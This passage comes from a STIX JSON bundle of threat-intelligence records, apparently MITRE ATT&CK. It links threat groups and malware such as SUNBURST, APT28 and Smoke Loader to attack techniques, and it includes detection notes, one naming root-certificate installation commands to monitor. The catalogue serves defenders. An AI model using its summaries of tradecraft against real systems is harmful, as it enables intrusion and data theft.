Tools"}],"modified":"2021-01-25T15:43:46.054Z","description":"(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28b3fb26-c7f8-481d-8424-895953bfb492","type":"relationship","created":"2021-01-10T17:15:22.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-14T16:42:49.839Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) encrypted C2 traffic using a single-byte-XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58b7b9bf-d09b-49f4-acf5-351979171317","type":"relationship","created":"2019-03-11T19:24:08.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.895Z","description":"[Empire](https://attack.mitre.org/software/S0363) can acquire local and domain user account information.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c596a5d9-8206-4140-ad7f-a58d95ea2bba","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. 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Retrieved December 18, 2020."}],"modified":"2021-05-04T18:01:42.473Z","description":"[Industroyer](https://attack.mitre.org/software/S0604)’s main backdoor connected to a remote C2 server using HTTPS.(Citation: ESET Industroyer)","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5fa184cc-46a8-4c53-8384-c0c0341819d0","type":"relationship","created":"2022-02-01T16:00:17.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Lazarus Jun 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf","description":"Breitenbacher, D and Osis, K. (2020, June 17). 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Retrieved December 20, 2021."}],"modified":"2022-02-04T18:39:20.824Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has hosted custom and open-source tools on compromised as well as [Lazarus Group](https://attack.mitre.org/groups/G0032)-controlled servers.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b143de7-af2d-4991-9e2e-aa85a8d7d330","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Talos Seduploader Oct 2017","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."}],"modified":"2020-03-20T16:37:06.295Z","description":"[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. 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Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2020-03-17T14:41:19.008Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6db133fd-2beb-4c5e-a97c-3d3ef03bee50","type":"relationship","created":"2020-02-11T18:58:46.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-11T18:58:46.015Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--82066933-1c34-4d79-8e3e-b0e32492cdf0","type":"relationship","created":"2021-08-12T15:10:41.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. 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Retrieved August 19, 2021."}],"modified":"2021-10-15T16:57:22.397Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has enumerated shared folders and mapped volumes.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f16d53b-7f08-42d2-93bb-47e0f854eb12","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for commands, such as <code>security add-trusted-cert</code> (macOS) or <code>certutil -addstore</code> (Windows), that can be used to install root certificates. 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Retrieved March 18, 2022."}],"modified":"2022-03-22T15:05:00.616Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79b980bb-f79e-4576-b927-be52be236f15","type":"relationship","created":"2019-06-07T15:11:47.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. 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","modified":"2022-04-19T19:29:49.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da7dbcec-4714-4bca-8b90-d3a0a95576d9","type":"relationship","created":"2020-07-16T15:07:27.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:51:26.020Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can check for the presence of network sniffers, AV, and BitDefender firewall.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f7484ee2-6d98-4f5b-8788-2cf1675b349d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.564Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) recursively searches through directories for files.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f9b7c51c-fcb1-4cf7-b19d-ecd92291326c","created":"2022-04-13T11:29:20.314Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can use group policy to push a scheduled task from the AD to all network machines.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-13T11:29:20.314Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--baf88ff5-553b-490e-abbc-ea3853f3f633","type":"relationship","created":"2019-04-19T15:30:36.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2019-04-22T19:41:53.389Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has used uncommon TCP \"high port\" to \"high port\" communication.(Citation: US-CERT HOPLIGHT Apr 2019)\t","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00b0b6ec-a9eb-4fdd-b7ea-6e6c8a8ab1fc","type":"relationship","created":"2019-11-27T14:58:00.679Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/dn221960.aspx","description":"Microsoft. (2013, May 8). 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(Citation: TechNet Scheduling Priority)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a328420-501e-4d8d-b2bd-9b3d4562e767","type":"relationship","created":"2020-10-20T15:52:50.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-20T19:52:33.591Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c623d41f-3af0-4e3a-bf4f-8550bec85b37","type":"relationship","created":"2020-08-31T15:06:48.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-08-31T15:06:48.118Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used modules that automatically upload gathered documents to the C2 server.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e342ee2b-d7b6-4a48-a689-06a68efe589e","type":"relationship","created":"2021-09-30T15:45:56.571Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE  A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:56.571Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can enumerate a list of installed programs.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--46829b2b-0f05-4022-a254-e8b26fdfb860","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2020-03-17T02:34:29.219Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) uses HTTP for C2.(Citation: Malwarebytes SmokeLoader 2016)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--609d3d8c-1995-43ef-a102-a39d668a774d","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-21T00:06:06.278Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit USBStealer 2014","description":"Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.","url":"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/"}],"modified":"2020-03-11T17:45:54.091Z","description":"Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.(Citation: ESET Sednit USBStealer 2014)","relationship_type":"uses","source_ref":"malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d7d90a4-1ea6-4eca-94bd-3461d9a54229","type":"relationship","created":"2021-07-16T18:29:48.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB GrimAgent July 2021","url":"https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021."}],"modified":"2021-10-14T17:28:04.440Z","description":"(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dc99f8a-a41c-41ec-aa56-c2b6c4d37efd","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor the file system for files that have the setuid or setgid bits set. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00ce5c68-cb85-46d1-a6ba-7b2b767b0f09","type":"relationship","created":"2020-08-13T14:58:25.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks Karagany July 2019","url":"https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector","description":"Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."}],"modified":"2020-08-13T14:58:25.315Z","description":"[Trojan.Karagany](https://attack.mitre.org/software/S0094) can gather information about the user on a compromised host.(Citation: Secureworks Karagany July 2019)","relationship_type":"uses","source_ref":"malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--06f7f9cd-4e6b-4abe-bff0-c9c0fcaf920e","type":"relationship","created":"2020-12-17T16:56:47.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Agent Tesla April 2020","url":"https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/","description":"Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}],"modified":"2021-04-21T02:04:30.524Z","description":"The primary delivered mechaism for [Agent Tesla](https://attack.mitre.org/software/S0331) is through email phishing messages.(Citation: Bitdefender Agent Tesla April 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--107e2686-a764-4ace-9200-43ead29ce579","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Ristol May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Ritsol. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3909-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nerex](https://attack.mitre.org/software/S0210) creates a backdoor through which remote attackers can download files onto a compromised host.(Citation: Symantec Ristol May 2012)","relationship_type":"uses","source_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5d320f6f-7415-4c94-8c00-2fb3d0ff5036","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. 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Retrieved February 4, 2019.","url":"https://github.com/sensepost/ruler","source_name":"SensePost Ruler GitHub"}],"modified":"2020-01-22T15:11:52.098Z","description":"[Ruler](https://attack.mitre.org/software/S0358) can be used to automate the abuse of Outlook Home Pages to establish persistence.(Citation: SensePost Ruler GitHub) ","relationship_type":"uses","source_ref":"tool--90ac9266-68ce-46f2-b24f-5eb3b2a8ea38","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0188e1f-8048-4ade-a1f5-9a56d2fcc2b1","type":"relationship","created":"2020-10-08T18:47:57.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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Retrieved August 28, 2019."}],"modified":"2020-03-17T13:45:39.913Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) relies on users mounting and executing a malicious DMG file.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5970c81f-932b-47e9-a63b-b4e30c351e7f","type":"relationship","created":"2021-12-29T15:08:44.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I and Delcher, P. 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Retrieved December 27, 2021."}],"modified":"2021-12-29T15:08:44.538Z","description":"[Tomiris](https://attack.mitre.org/software/S0671) has the ability to sleep for at least nine minutes to evade sandbox-based analysis systems.(Citation: Kaspersky Tomiris Sep 2021)","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b5dbd72-abeb-4d61-9a7f-917a17f272d1","type":"relationship","created":"2020-05-21T12:59:00.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 